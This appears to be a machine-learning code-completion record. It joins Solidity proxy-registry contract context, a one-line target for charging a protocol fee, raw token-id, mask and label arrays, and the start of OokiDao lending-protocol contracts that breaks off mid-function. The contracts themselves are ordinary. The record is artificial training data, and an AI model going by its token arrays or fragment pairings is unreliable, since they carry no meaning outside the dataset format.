only * @param addr Address to which to grant permissions */ function startGrantAuthentication (address addr) public onlyOwner { require(!contracts[addr] && pending[addr] == 0); pending[addr] = now; } /** * End the process to nable access for specified contract after delay period has passed. * * @dev ProxyRegistry owner only * @param addr Address to which to grant permissions */ function endGrantAuthentication (address addr) public onlyOwner { require(!contracts[addr] && pending[addr] != 0 && ((pending[addr] + DELAY_PERIOD) < now)); pending[addr] = 0; contracts[addr] = true; } /** * Revoke access for specified contract. Can be done instantly. * * @dev ProxyRegistry owner only * @param addr Address of which to revoke permissions */ function revokeAuthentication (address addr) public onlyOwner { contracts[addr] = false; } /** * Register a proxy contract with this registry * * @dev Must be called by the user which the proxy is for, creates a new AuthenticatedProxy * @return New AuthenticatedProxy contract */ function registerProxy() public returns (OwnableDelegateProxy proxy) { require(proxies[msg.sender] == address(0)); proxy = new OwnableDelegateProxy(msg.sender, delegateProxyImplementation, abi.encodeWithSignature("initialize(address,address)", msg.sender, address(this))); proxies[msg.sender] = proxy; return proxy; } } contract TokenTransferProxy { /* Authentication registry. */ ProxyRegistry public registry; /** * Call ERC20 `transferFrom` * * @dev Authenticated contract only * @param token ERC20 token address * @param from From address * @param to To address * @param amount Transfer amount */ function transferFrom(address token, address from, address to, uint amount) public returns (bool) { require(registry.contracts(msg.sender)); return ERC20(token).transferFrom(from, to, amount); } } contract OwnedUpgradeabilityStorage { // Current implementation address internal _implementation; // Owner of the contract address private _upgradeabilityOwner; /** * @dev Tells the address of the owner * @return the address of the owner */ function upgradeabilityOwner() public view returns (address) { return _upgradeabilityOwner; } /** * @dev Sets the address of the owner */ function setUpgradeabilityOwner(address newUpgradeabilityOwner) internal { _upgradeabilityOwner = newUpgradeabilityOwner; } /** * @dev Tells the address of the current implementation * @return address of the current implementation */ function implementation() public view returns (address) { return _implementation; } /** * @dev Tells the proxy type (EIP 897) * @return Proxy type, 2 for forwarding proxy */ function proxyType() public pure returns (uint256 proxyTypeId) { return 2; } } contract AuthenticatedProxy is TokenRecipient, OwnedUpgradeabilityStorage { /* Whether initialized. */ bool initialized = false; /* Address which owns this proxy. */ address public user; /* Associated registry with contract authentication information. */ ProxyRegistry public registry; /* Whether access has been revoked. */ bool public revoked; /* Delegate call could be used to atomically transfer multiple assets owned by the proxy contract with one order. */ enum HowToCall { Call, DelegateCall } /* Event fired when the proxy access is revoked or unrevoked. */ event Revoked(bool revoked); /** * Initialize an AuthenticatedProxy * * @param addrUser Address of user on whose behalf this proxy will act * @param addrRegistry Address of ProxyRegistry contract which will manage this proxy */ function initialize (address addrUser, ProxyRegistry addrRegistry) public { require(!initialized); initialized = true; user = addrUser; registry = addrRegistry; } /** * Set the revoked flag (allows a user to revoke ProxyRegistry access) * * @dev Can be called by the user only * @param revoke Whether or not to revoke access */ function setRevoke(bool revoke) public { require(msg.sender == user); revoked = revoke; emit Revoked(revoke); } /** * Execute a message call from the proxy contract * * @dev Can be called by the user, or by a contract authorized by the registry as long as the user has not revoked access * @param dest Address to which the call will be sent * @param howToCall Which kind of call to make * @param calldata Calldata to send * @return Result of the call (success or failure) */ function proxy(address dest, HowToCall howToCall, bytes calldata) public returns (bool result) { require(msg.sender == user || (!revoked && registry.contracts(msg.sender))); if (howToCall == HowToCall.Call) { result = dest.call(calldata); } else if (howToCall == HowToCall.DelegateCall) { result = dest.delegatecall(calldata); } return result; } /** * Execute a message call and assert success * * @dev Same functionality as `proxy`, just asserts the return value * @param dest Address to which the call will be sent * @param howToCall What kind of call to make * @param calldata Calldata to send */ function proxyAssert(address dest, HowToCall howToCall, bytes calldata) public { require(proxy(dest, howToCall, calldata)); } } contract Proxy { /** * @dev Tells the address of the implementation where every call will be delegated. * @return address of the implementation to which it will be delegated */ function implementation() public view returns (address); /** * @dev Tells the type of proxy (EIP 897) * @return Type of proxy, 2 for upgradeable proxy */ function proxyType() public pure returns (uint256 proxyTypeId); /** * @dev Fallback function allowing to perform a delegatecall to the given implementation. * This function will return whatever the implementation call returns */ function () payable public { address _impl = implementation(); require(_impl != address(0)); assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0) let size := returndatasize returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } } contract OwnedUpgradeabilityProxy is Proxy, OwnedUpgradeabilityStorage { /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event ProxyOwnershipTransferred(address previousOwner, address newOwner); /** * @dev This event will be emitted every time the implementation gets upgraded * @param implementation representing the address of the upgraded implementation */ event Upgraded(address indexed implementation); /** * @dev Upgrades the implementation address * @param implementation representing the address of the new implementation to be set */ function _upgradeTo(address implementation) internal { require(_implementation != implementation); _implementation = implementation; emit Upgraded(implementation); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyProxyOwner() { require(msg.sender == proxyOwner()); _; } /** * @dev Tells the address of the proxy owner * @return the address of the proxy owner */ function proxyOwner() public view returns (address) { return upgradeabilityOwner(); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferProxyOwnership(address newOwner) public onlyProxyOwner { require(newOwner != address(0)); emit ProxyOwnershipTransferred(proxyOwner(), newOwner); setUpgradeabilityOwner(newOwner); } /** * @dev Allows the upgradeability owner to upgrade the current implementation of the proxy. * @param implementation representing the address of the new implementation to be set. */ function upgradeTo(address implementation) public onlyProxyOwner { _upgradeTo(implementation); } /** * @dev Allows the upgradeability owner to upgrade the current implementation of the proxy * and delegatecall the new implementation for initialization. * @param implementation representing the address of the new implementation to be set. * @param data represents the msg.data to bet sent in the low level call. This parameter may include the function * signature of the implementation to be called with the needed payload */ function upgradeToAndCall(address implementation, bytes data) payable public onlyProxyOwner { upgradeTo(implementation); require(address(this).delegatecall(data)); } } contract OwnableDelegateProxy is OwnedUpgradeabilityProxy { constructor(address owner, address initialImplementation, bytes calldata) public { setUpgradeabilityOwner(owner); _upgradeTo(initialImplementation); require(initialImplementation.delegatecall(calldata)); } }
Charge taker fee to seller. */
chargeProtocolFee(sell.maker, buy.feeRecipient, buy.takerRelayerFee);
251,963
[ 1, 17649, 268, 6388, 14036, 358, 29804, 18, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 7734, 13765, 5752, 14667, 12, 87, 1165, 18, 29261, 16, 30143, 18, 21386, 18241, 16, 30143, 18, 88, 6388, 1971, 1773, 14667, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity 0.5.17; pragma experimental ABIEncoderV2; import "State.sol"; import "LoanMaintenanceEvents.sol"; import "PausableGuardian.sol"; import "InterestHandler.sol"; import "InterestOracle.sol"; import "TickMathV1.sol"; contract LoanMaintenance_2 is State, LoanMaintenanceEvents, PausableGuardian, InterestHandler { function initialize( address target) external onlyOwner { _setTarget(this.transferLoan.selector, target); _setTarget(this.settleInterest.selector, target); _setTarget(this.getInterestModelValues.selector, target); _setTarget(this.getTWAI.selector, target); } function getInterestModelValues( address pool, bytes32 loanId) external view returns ( uint256 _poolLastUpdateTime, uint256 _poolPrincipalTotal, uint256 _poolInterestTotal, uint256 _poolRatePerTokenStored, uint256 _poolLastInterestRate, uint256 _loanPrincipalTotal, uint256 _loanInterestTotal, uint256 _loanRatePerTokenPaid) { _poolLastUpdateTime = poolLastUpdateTime[pool]; _poolPrincipalTotal = poolPrincipalTotal[pool]; _poolInterestTotal = poolInterestTotal[pool]; _poolRatePerTokenStored = poolRatePerTokenStored[pool]; _poolLastInterestRate = poolLastInterestRate[pool]; _loanPrincipalTotal = loans[loanId].principal; _loanInterestTotal = loanInterestTotal[loanId]; _loanRatePerTokenPaid = loanRatePerTokenPaid[loanId]; } function transferLoan( bytes32 loanId, address newOwner) external nonReentrant pausable { Loan storage loanLocal = loans[loanId]; address currentOwner = loanLocal.borrower; require(loanLocal.active, "loan is closed"); require(currentOwner != newOwner, "no owner change"); require( msg.sender == currentOwner || delegatedManagers[loanId][msg.sender], "unauthorized" ); require(borrowerLoanSets[currentOwner].removeBytes32(loanId), "error in transfer"); borrowerLoanSets[newOwner].addBytes32(loanId); loanLocal.borrower = newOwner; emit TransferLoan( currentOwner, newOwner, loanId ); } function settleInterest( bytes32 loanId) external pausable { // only callable by loan pools require(loanPoolToUnderlying[msg.sender] != address(0), "not authorized"); _settleInterest( msg.sender, // loan pool loanId ); } function getTWAI( address pool) external view returns (uint256) { uint32 timeSinceUpdate = uint32(block.timestamp.sub(poolLastUpdateTime[pool])); return TickMathV1.getSqrtRatioAtTick(poolInterestRateObservations[pool].arithmeticMean( uint32(block.timestamp), [timeSinceUpdate+twaiLength, timeSinceUpdate], timeSinceUpdate >= 60 ? TickMathV1.getTickAtSqrtRatio(uint160(poolLastInterestRate[pool])) : poolInterestRateObservations[pool][poolLastIdx[pool]].tick, poolLastIdx[pool], uint8(-1) )); } } /** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity 0.5.17; import "Constants.sol"; import "Objects.sol"; import "EnumerableBytes32Set.sol"; import "ReentrancyGuard.sol"; import "InterestOracle.sol"; import "Ownable.sol"; import "SafeMath.sol"; contract State is Constants, Objects, ReentrancyGuard, Ownable { using SafeMath for uint256; using EnumerableBytes32Set for EnumerableBytes32Set.Bytes32Set; address public priceFeeds; // handles asset reference price lookups address public swapsImpl; // handles asset swaps using dex liquidity mapping (bytes4 => address) public logicTargets; // implementations of protocol functions mapping (bytes32 => Loan) public loans; // loanId => Loan mapping (bytes32 => LoanParams) public loanParams; // loanParamsId => LoanParams mapping (address => mapping (bytes32 => Order)) public lenderOrders; // lender => orderParamsId => Order mapping (address => mapping (bytes32 => Order)) public borrowerOrders; // borrower => orderParamsId => Order mapping (bytes32 => mapping (address => bool)) public delegatedManagers; // loanId => delegated => approved // Interest mapping (address => mapping (address => LenderInterest)) public lenderInterest; // lender => loanToken => LenderInterest object (depreciated) mapping (bytes32 => LoanInterest) public loanInterest; // loanId => LoanInterest object (depreciated) // Internals EnumerableBytes32Set.Bytes32Set internal logicTargetsSet; // implementations set EnumerableBytes32Set.Bytes32Set internal activeLoansSet; // active loans set mapping (address => EnumerableBytes32Set.Bytes32Set) internal lenderLoanSets; // lender loans set mapping (address => EnumerableBytes32Set.Bytes32Set) internal borrowerLoanSets; // borrow loans set mapping (address => EnumerableBytes32Set.Bytes32Set) internal userLoanParamSets; // user loan params set address public feesController; // address controlling fee withdrawals uint256 public lendingFeePercent = 10 ether; // 10% fee // fee taken from lender interest payments mapping (address => uint256) public lendingFeeTokensHeld; // total interest fees received and not withdrawn per asset mapping (address => uint256) public lendingFeeTokensPaid; // total interest fees withdraw per asset (lifetime fees = lendingFeeTokensHeld + lendingFeeTokensPaid) uint256 public tradingFeePercent = 0.15 ether; // 0.15% fee // fee paid for each trade mapping (address => uint256) public tradingFeeTokensHeld; // total trading fees received and not withdrawn per asset mapping (address => uint256) public tradingFeeTokensPaid; // total trading fees withdraw per asset (lifetime fees = tradingFeeTokensHeld + tradingFeeTokensPaid) uint256 public borrowingFeePercent = 0.09 ether; // 0.09% fee // origination fee paid for each loan mapping (address => uint256) public borrowingFeeTokensHeld; // total borrowing fees received and not withdrawn per asset mapping (address => uint256) public borrowingFeeTokensPaid; // total borrowing fees withdraw per asset (lifetime fees = borrowingFeeTokensHeld + borrowingFeeTokensPaid) uint256 public protocolTokenHeld; // current protocol token deposit balance uint256 public protocolTokenPaid; // lifetime total payout of protocol token uint256 public affiliateFeePercent = 30 ether; // 30% fee share // fee share for affiliate program mapping (address => mapping (address => uint256)) public liquidationIncentivePercent; // percent discount on collateral for liquidators per loanToken and collateralToken mapping (address => address) public loanPoolToUnderlying; // loanPool => underlying mapping (address => address) public underlyingToLoanPool; // underlying => loanPool EnumerableBytes32Set.Bytes32Set internal loanPoolsSet; // loan pools set mapping (address => bool) public supportedTokens; // supported tokens for swaps uint256 public maxDisagreement = 5 ether; // % disagreement between swap rate and reference rate uint256 public sourceBufferPercent = 5 ether; // used to estimate kyber swap source amount uint256 public maxSwapSize = 1500 ether; // maximum supported swap size in ETH /**** new interest model start */ mapping(address => uint256) public poolLastUpdateTime; // per itoken mapping(address => uint256) public poolPrincipalTotal; // per itoken mapping(address => uint256) public poolInterestTotal; // per itoken mapping(address => uint256) public poolRatePerTokenStored; // per itoken mapping(bytes32 => uint256) public loanInterestTotal; // per loan mapping(bytes32 => uint256) public loanRatePerTokenPaid; // per loan mapping(address => uint256) internal poolLastInterestRate; // per itoken mapping(address => InterestOracle.Observation[256]) internal poolInterestRateObservations; // per itoken mapping(address => uint8) internal poolLastIdx; // per itoken uint32 public timeDelta; uint32 public twaiLength; /**** new interest model end */ function _setTarget( bytes4 sig, address target) internal { logicTargets[sig] = target; if (target != address(0)) { logicTargetsSet.addBytes32(bytes32(sig)); } else { logicTargetsSet.removeBytes32(bytes32(sig)); } } } /** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity 0.5.17; import "IWethERC20.sol"; contract Constants { uint256 internal constant WEI_PRECISION = 10**18; uint256 internal constant WEI_PERCENT_PRECISION = 10**20; uint256 internal constant DAYS_IN_A_YEAR = 365; uint256 internal constant ONE_MONTH = 2628000; // approx. seconds in a month // string internal constant UserRewardsID = "UserRewards"; // decommissioned string internal constant LoanDepositValueID = "LoanDepositValue"; IWethERC20 public constant wethToken = IWethERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // mainnet address public constant bzrxTokenAddress = 0x56d811088235F11C8920698a204A5010a788f4b3; // mainnet address public constant vbzrxTokenAddress = 0xB72B31907C1C95F3650b64b2469e08EdACeE5e8F; // mainnet address public constant OOKI = address(0x0De05F6447ab4D22c8827449EE4bA2D5C288379B); // mainnet //IWethERC20 public constant wethToken = IWethERC20(0xd0A1E359811322d97991E03f863a0C30C2cF029C); // kovan //address public constant bzrxTokenAddress = 0xB54Fc2F2ea17d798Ad5C7Aba2491055BCeb7C6b2; // kovan //address public constant vbzrxTokenAddress = 0x6F8304039f34fd6A6acDd511988DCf5f62128a32; // kovan //IWethERC20 public constant wethToken = IWethERC20(0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6); // local testnet only //address public constant bzrxTokenAddress = 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87; // local testnet only //address public constant vbzrxTokenAddress = 0xa3B53dDCd2E3fC28e8E130288F2aBD8d5EE37472; // local testnet only //IWethERC20 public constant wethToken = IWethERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); // bsc (Wrapped BNB) //address public constant bzrxTokenAddress = address(0); // bsc //address public constant vbzrxTokenAddress = address(0); // bsc //address public constant OOKI = address(0); // bsc // IWethERC20 public constant wethToken = IWethERC20(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270); // polygon (Wrapped MATIC) // address public constant bzrxTokenAddress = address(0); // polygon // address public constant vbzrxTokenAddress = address(0); // polygon // address public constant OOKI = 0xCd150B1F528F326f5194c012f32Eb30135C7C2c9; // polygon //IWethERC20 public constant wethToken = IWethERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7); // avax (Wrapped AVAX) //address public constant bzrxTokenAddress = address(0); // avax //address public constant vbzrxTokenAddress = address(0); // avax // IWethERC20 public constant wethToken = IWethERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1); // arbitrum // address public constant bzrxTokenAddress = address(0); // arbitrum // address public constant vbzrxTokenAddress = address(0); // arbitrum // address public constant OOKI = address(0x400F3ff129Bc9C9d239a567EaF5158f1850c65a4); // arbitrum } /** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity >=0.5.0 <0.6.0; import "IWeth.sol"; import "IERC20.sol"; contract IWethERC20 is IWeth, IERC20 {} /** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity >=0.5.0 <0.6.0; interface IWeth { function deposit() external payable; function withdraw(uint256 wad) external; } pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity 0.5.17; import "LoanStruct.sol"; import "LoanParamsStruct.sol"; import "OrderStruct.sol"; import "LenderInterestStruct.sol"; import "LoanInterestStruct.sol"; contract Objects is LoanStruct, LoanParamsStruct, OrderStruct, LenderInterestStruct, LoanInterestStruct {} /** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity 0.5.17; contract LoanStruct { struct Loan { bytes32 id; // id of the loan bytes32 loanParamsId; // the linked loan params id bytes32 pendingTradesId; // the linked pending trades id uint256 principal; // total borrowed amount outstanding uint256 collateral; // total collateral escrowed for the loan uint256 startTimestamp; // loan start time uint256 endTimestamp; // for active loans, this is the expected loan end time, for in-active loans, is the actual (past) end time uint256 startMargin; // initial margin when the loan opened uint256 startRate; // reference rate when the loan opened for converting collateralToken to loanToken address borrower; // borrower of this loan address lender; // lender of this loan bool active; // if false, the loan has been fully closed } } /** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity 0.5.17; contract LoanParamsStruct { struct LoanParams { bytes32 id; // id of loan params object bool active; // if false, this object has been disabled by the owner and can't be used for future loans address owner; // owner of this object address loanToken; // the token being loaned address collateralToken; // the required collateral token uint256 minInitialMargin; // the minimum allowed initial margin uint256 maintenanceMargin; // an unhealthy loan when current margin is at or below this value uint256 maxLoanTerm; // the maximum term for new loans (0 means there's no max term) } } /** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity 0.5.17; contract OrderStruct { struct Order { uint256 lockedAmount; // escrowed amount waiting for a counterparty uint256 interestRate; // interest rate defined by the creator of this order uint256 minLoanTerm; // minimum loan term allowed uint256 maxLoanTerm; // maximum loan term allowed uint256 createdTimestamp; // timestamp when this order was created uint256 expirationTimestamp; // timestamp when this order expires } } /** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity 0.5.17; contract LenderInterestStruct { struct LenderInterest { uint256 principalTotal; // total borrowed amount outstanding of asset (DEPRECIATED) uint256 owedPerDay; // interest owed per day for all loans of asset (DEPRECIATED) uint256 owedTotal; // total interest owed for all loans of asset (DEPRECIATED) uint256 paidTotal; // total interest paid so far for asset (DEPRECIATED) uint256 updatedTimestamp; // last update (DEPRECIATED) } } /** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity 0.5.17; contract LoanInterestStruct { struct LoanInterest { uint256 owedPerDay; // interest owed per day for loan (DEPRECIATED) uint256 depositTotal; // total escrowed interest for loan (DEPRECIATED) uint256 updatedTimestamp; // last update (DEPRECIATED) } } /** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity 0.5.17; /** * @dev Library for managing loan sets * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * Include with `using EnumerableBytes32Set for EnumerableBytes32Set.Bytes32Set;`. * */ library EnumerableBytes32Set { struct Bytes32Set { // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) index; bytes32[] values; } /** * @dev Add an address value to a set. O(1). * Returns false if the value was already in the set. */ function addAddress(Bytes32Set storage set, address addrvalue) internal returns (bool) { bytes32 value; assembly { value := addrvalue } return addBytes32(set, value); } /** * @dev Add a value to a set. O(1). * Returns false if the value was already in the set. */ function addBytes32(Bytes32Set storage set, bytes32 value) internal returns (bool) { if (!contains(set, value)){ set.index[value] = set.values.push(value); return true; } else { return false; } } /** * @dev Removes an address value from a set. O(1). * Returns false if the value was not present in the set. */ function removeAddress(Bytes32Set storage set, address addrvalue) internal returns (bool) { bytes32 value; assembly { value := addrvalue } return removeBytes32(set, value); } /** * @dev Removes a value from a set. O(1). * Returns false if the value was not present in the set. */ function removeBytes32(Bytes32Set storage set, bytes32 value) internal returns (bool) { if (contains(set, value)){ uint256 toDeleteIndex = set.index[value] - 1; uint256 lastIndex = set.values.length - 1; // If the element we're deleting is the last one, we can just remove it without doing a swap if (lastIndex != toDeleteIndex) { bytes32 lastValue = set.values[lastIndex]; // Move the last value to the index where the deleted value is set.values[toDeleteIndex] = lastValue; // Update the index for the moved value set.index[lastValue] = toDeleteIndex + 1; // All indexes are 1-based } // Delete the index entry for the deleted value delete set.index[value]; // Delete the old entry for the moved value set.values.pop(); return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return set.index[value] != 0; } /** * @dev Returns true if the value is in the set. O(1). */ function containsAddress(Bytes32Set storage set, address addrvalue) internal view returns (bool) { bytes32 value; assembly { value := addrvalue } return set.index[value] != 0; } /** * @dev Returns an array with all values in the set. O(N). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * WARNING: This function may run out of gas on large sets: use {length} and * {get} instead in these cases. */ function enumerate(Bytes32Set storage set, uint256 start, uint256 count) internal view returns (bytes32[] memory output) { uint256 end = start + count; require(end >= start, "addition overflow"); end = set.values.length < end ? set.values.length : end; if (end == 0 || start >= end) { return output; } output = new bytes32[](end-start); for (uint256 i = start; i < end; i++) { output[i-start] = set.values[i]; } return output; } /** * @dev Returns the number of elements on the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return set.values.length; } /** @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function get(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return set.values[index]; } /** @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function getAddress(Bytes32Set storage set, uint256 index) internal view returns (address) { bytes32 value = set.values[index]; address addrvalue; assembly { addrvalue := value } return addrvalue; } } pragma solidity >=0.5.0 <0.6.0; /** * @title Helps contracts guard against reentrancy attacks. * @author Remco Bloemen <[email protected]π.com>, Eenae <[email protected]> * @dev If you mark a function `nonReentrant`, you should also * mark it `external`. */ contract ReentrancyGuard { /// @dev Constant for unlocked guard state - non-zero to prevent extra gas costs. /// See: https://github.com/OpenZeppelin/openzeppelin-solidity/issues/1056 uint256 internal constant REENTRANCY_GUARD_FREE = 1; /// @dev Constant for locked guard state uint256 internal constant REENTRANCY_GUARD_LOCKED = 2; /** * @dev We use a single lock for the whole contract. */ uint256 internal reentrancyLock = REENTRANCY_GUARD_FREE; /** * @dev Prevents a contract from calling itself, directly or indirectly. * If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one `nonReentrant` function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and an `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(reentrancyLock == REENTRANCY_GUARD_FREE, "nonReentrant"); reentrancyLock = REENTRANCY_GUARD_LOCKED; _; reentrancyLock = REENTRANCY_GUARD_FREE; } } pragma solidity ^0.5.0; library InterestOracle { struct Observation { uint32 blockTimestamp; int56 irCumulative; int24 tick; } /// @param last The specified observation /// @param blockTimestamp The new timestamp /// @param tick The active tick /// @return Observation The newly populated observation function convert( Observation memory last, uint32 blockTimestamp, int24 tick ) private pure returns (Observation memory) { return Observation({ blockTimestamp: blockTimestamp, irCumulative: last.irCumulative + int56(tick) * (blockTimestamp - last.blockTimestamp), tick: tick }); } /// @param self oracle array /// @param index most recent observation index /// @param blockTimestamp timestamp of observation /// @param tick active tick /// @param cardinality populated elements /// @param minDelta minimum time delta between observations /// @return indexUpdated The new index function write( Observation[256] storage self, uint8 index, uint32 blockTimestamp, int24 tick, uint8 cardinality, uint32 minDelta ) internal returns (uint8 indexUpdated) { Observation memory last = self[index]; // early return if we've already written an observation in last minDelta seconds if (last.blockTimestamp + minDelta >= blockTimestamp) return index; indexUpdated = (index + 1) % cardinality; self[indexUpdated] = convert(last, blockTimestamp, tick); } /// @param self oracle array /// @param target targeted timestamp to retrieve value /// @param index latest index /// @param cardinality populated elements function binarySearch( Observation[256] storage self, uint32 target, uint8 index, uint8 cardinality ) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) { uint256 l = (index + 1) % cardinality; // oldest observation uint256 r = l + cardinality - 1; // newest observation uint256 i; while (true) { i = (l + r) / 2; beforeOrAt = self[i % cardinality]; if (beforeOrAt.blockTimestamp == 0) { l = 0; r = index; continue; } atOrAfter = self[(i + 1) % cardinality]; bool targetAtOrAfter = beforeOrAt.blockTimestamp <= target; bool targetBeforeOrAt = atOrAfter.blockTimestamp >= target; if (!targetAtOrAfter) { r = i - 1; continue; } else if 